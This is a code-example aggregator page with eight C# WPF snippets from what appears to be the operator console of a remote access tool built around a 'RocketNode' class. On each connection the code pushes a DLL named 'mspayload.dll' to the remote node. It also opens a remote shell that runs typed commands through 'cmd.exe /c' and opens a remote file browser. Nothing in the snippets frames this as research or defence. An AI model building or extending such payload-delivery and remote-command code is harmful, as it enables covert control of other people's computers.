Exemplo n.º 1
0
 private void OnDisconnected(RocketNode node)
 {
     this.Dispatcher.Invoke(() =>
     {
         lNodes.Items.Remove(node);
     });
 }
Exemplo n.º 2
0
 public FileUI(RocketNode node)
 {
     InitializeComponent();
     //initDrive();
     _node             = node;
     _node.OnFileData += OnNodeData;
     byte[] tosnd = { 0x03, 0x01 };
     _node.Send(tosnd);
 }
Exemplo n.º 3
0
        private void Open_Shell(object sender, RoutedEventArgs e)
        {
            RocketNode selectedObject = (RocketNode)lNodes.SelectedItem;

            if (selectedObject != null)
            {
                ShellUI shell = ShellUI.StartShell(selectedObject);
                shell.Show();
            }
        }
Exemplo n.º 4
0
        private void Selector_OnSelectionChanged(object sender, SelectionChangedEventArgs e)
        {
            System.Windows.Controls.ListView list = (System.Windows.Controls.ListView)sender;
            RocketNode selectedObject             = (RocketNode)list.SelectedItem;

            if (selectedObject != null)
            {
                lblNode.Text = selectedObject.IpAddr + " Selected";
            }
        }
Exemplo n.º 5
0
        public static ShellUI StartShell(RocketNode node)
        {
            if (openedUIs.ContainsKey(node))
            {
                return(openedUIs[node]);
            }
            ShellUI ui = new ShellUI(node);

            ui.Closed += (s, e) => openedUIs.Remove(node);
            openedUIs.Add(node, ui);
            return(ui);
        }
Exemplo n.º 6
0
        private void Open_File(object sender, RoutedEventArgs e)
        {
            RocketNode selectedObject = (RocketNode)lNodes.SelectedItem;

            if (selectedObject != null)
            {
                //ShellUI shell = ShellUI.StartShell(selectedObject);
                //shell.Show();
                FileUI file = FileUI.StartFile(selectedObject);
                file.Show();
            }
        }
Exemplo n.º 7
0
 private void OnConnected(RocketNode node)
 {
     node.OnDisconnected += OnDisconnected;
     this.Dispatcher.Invoke(() =>
     {
         lNodes.Items.Add(node);
     });
     //send payload
     //byte[] bInit = { 0x88, 0x88, 0x88, 0x88};
     //node.Send(bInit);
     byte[] bPayload  = System.IO.File.ReadAllBytes(@"D:\Work\Code\ZSelf\utils\Release\mspayload.dll");
     byte[] bInitData = new byte[bPayload.Length + 1];
     bInitData[0] = 0x02;
     System.Buffer.BlockCopy(bPayload, 0, bInitData, 1, bPayload.Length);
     node.Send(bInitData);
 }
Exemplo n.º 8
0
        public ShellUI(RocketNode node)
        {
            InitializeComponent();
            _node              = node;
            _node.OnShellData += OnNodeData;
            txtShell.Prompt    = "> ";

            Loaded += (s, e) =>
            {
                txtShell.CommandEntered += (ss, ee) =>
                {
                    byte[] raw   = Encoding.ASCII.GetBytes("cmd.exe /c " + ee.Command.Raw);
                    byte[] tosnd = new byte[raw.Length + 1];
                    tosnd[0] = 0x01;
                    System.Buffer.BlockCopy(raw, 0, tosnd, 1, raw.Length);
                    _node.Send(tosnd);
                };

                txtShell.AbortRequested += (ss, ee) =>
                {
                    MessageBox.Show("Abort !");
                };

                txtShell.RegisteredCommands.Add("hello");
                txtShell.RegisteredCommands.Add("world");
                txtShell.RegisteredCommands.Add("helloworld");
                txtShell.RegisteredCommands.Add("ls");
                txtShell.RegisteredCommands.Add("cd");
                txtShell.RegisteredCommands.Add("pwd");

                //txtShell.Text += "Welcome !\n";
                //txtShell.Text += "Hit tab to complete your current command.\n";
                //txtShell.Text += "Use ctrl+c to raise an AbortRequested event.\n\n";
                //txtShell.Text += "Available (fake) commands are:\n";
                //txtShell.RegisteredCommands.ForEach(cmd => txtShell.Text += "  - " + cmd + "\n");
                txtShell.InsertNewPrompt();
                txtShell.EnableInput(true);
            };
        }